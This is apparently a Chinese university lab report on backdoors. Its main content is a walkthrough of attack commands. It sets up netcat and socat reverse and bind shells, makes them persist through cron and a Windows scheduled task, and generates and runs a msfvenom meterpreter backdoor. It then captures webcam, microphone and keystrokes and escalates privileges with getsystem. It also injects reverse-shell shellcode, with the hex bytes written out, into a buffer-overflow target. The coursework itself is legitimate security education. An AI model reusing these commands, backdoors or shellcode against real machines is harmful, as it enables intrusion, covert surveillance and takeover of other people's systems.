(1)任务一:使用netcat获取主机操作Shell,cron启动
(2)任务二:使用socat获取主机操作Shell, 任务计划启动
(3)任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
例举你能想到的一个后门进入到你系统中的可能方式?
例举你知道的后门如何启动起来(win及linux)的方式?
Meterpreter有哪些给你映像深刻的功能?
如何发现自己有系统有没有被安装后门?
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。-b
badchar是payload中需要去除的字符。LHOS
T是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型>
输出到哪个文件socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。Windows:使用ipconfig
指令查看本机IP:192.168.136.129
使用ncat.exe程序监听本机的5316端口
ncat.exe -l -p 5316
Kali:使用nc指令的-e选项反向连接Windows主机的5316端口:
ncat 192.168.136.129 5316 -e /bin/sh
Windows下成功运行Kali的shell,运行ls指令如下:
在Kali环境中使用ifconfig
查看IP:192.168.136.128
Kali使用nc指令监听5316端口:nc -l -p 5316
Windows:使用ncat.exe程序的-e选项项反向连接Kali主机的5316端口:ncat.exe -e cmd.exe 192.168.136.128 5316
Kali下可以看到Windows的命令提示,可以输入Windows命令
ncat.exe -l 5316
nc 192.168.136.129 5316
Windows下监听5230
端口,把收到的数据保存到file1.out
中:ncat.exe -l 5316 > file1.out
Kali下先创建file1.in
文件,再反弹连接到Windows的5230
端口:nc 192.168.136.129 5316 < file1.in
传输成功
先在Windows系统下,监听5316
端口:
在Kali环境下,用crontab -e
指令编辑一条定时任务
crontab
指令增加一条定时任务-e
表示编辑在最后一行添加15 * * * * /bin/netcat 192.168.136.129 5316 -e /bin/sh
意思是,每个小时的第15分钟反向连接Windows主机的5316
端口
当时间到了15分时,此时已经获得了Kali的shell,可以输入指令ncat.exe -l -p 5316
Win+R
输入compmgmt.msc
打开“计算机管理”
在“任务计划程序”中“创建任务”
填写任务名称,并新建一个触发器
在操作->新建->程序或脚本中选择你的socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5205 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5316
,同时把cmd.exe
的stderr
重定向到stdout
上
创建完成之后,按Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
在kali输入指令socat - tcp:192.168.136.129:5316
,连接到Windows主机的5316
端口,此时可以获得Windows的shell
在Kali上执行指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 -f exe > 20175316_backdoor.exe
20175316_backdoor.exe
通过ncat.exe -lv 5316 > 20175316_backdoor.exe
指令将被控制主机进入接受文件模式
在Linux中执行nc 192.168.136.129 5316 < 20175316_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP
传送接收文件成功
在Kali上使用msfconsole
指令进入msf控制台
输入use exploit/multi/handler
使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload
set LHOST 192.168.136.128
,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5316
,同样要使用相同的端口
设置完成后,执行监听exploit
运行Windows下的后门程序20175316_backdoor.exe
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
使用record_mic指令可以截获一段音频
使用webcam_snap指令可以使用摄像头进行拍照
使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
使用screenshot指令可以进行截屏
先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:
以下为捕获的音频、图片等
从Exploit Database Shellcodes网站中搜索linux/x86 - Reverse下载了反弹连接的shellcode
之后像实验一一样做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e ‘print "A" x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘ > input_shellcode
打开一个终端使用(cat input_shellcode;cat) | ./pwn1_20175316
注入这段攻击buf
再开另外一个终端,用gdb来调试pwn1_20175316这个进程。输入ps -ef | grep pwn1_20175316
找到pwn1的进程号
之后启动gdb使用attach调试这个进程。使用disassemble foo
查看到ret的地址
0xffffd36c
存放的数据是db31c031
,那么shellcode地址就是0xffffd370
修改并生成input文件
perl -e ‘print "A" x 32;print"\x70\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘ > input
打开msf控制台依次输入
use exploit/multi/handler
,用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
,设置IP为回环地址
set LPORT 4444
,根据代码设置端口
exploit
,设置完成开始监听
(cat input;cat) | ./pwn1_20175316
将input输入,通过管道符“|”,作为pwn1的输入。问题:获取主机摄像头权限失败
原因:未将摄像头连接到虚拟机上
解决方法:虚拟机右键 > 可移动设备 > 将摄像头连接到虚拟机上
2019-2020-2 20175316盛茂淞《网络对抗技术》Exp2 后门原理与实践
原文:https://www.cnblogs.com/sms369/p/12543561.html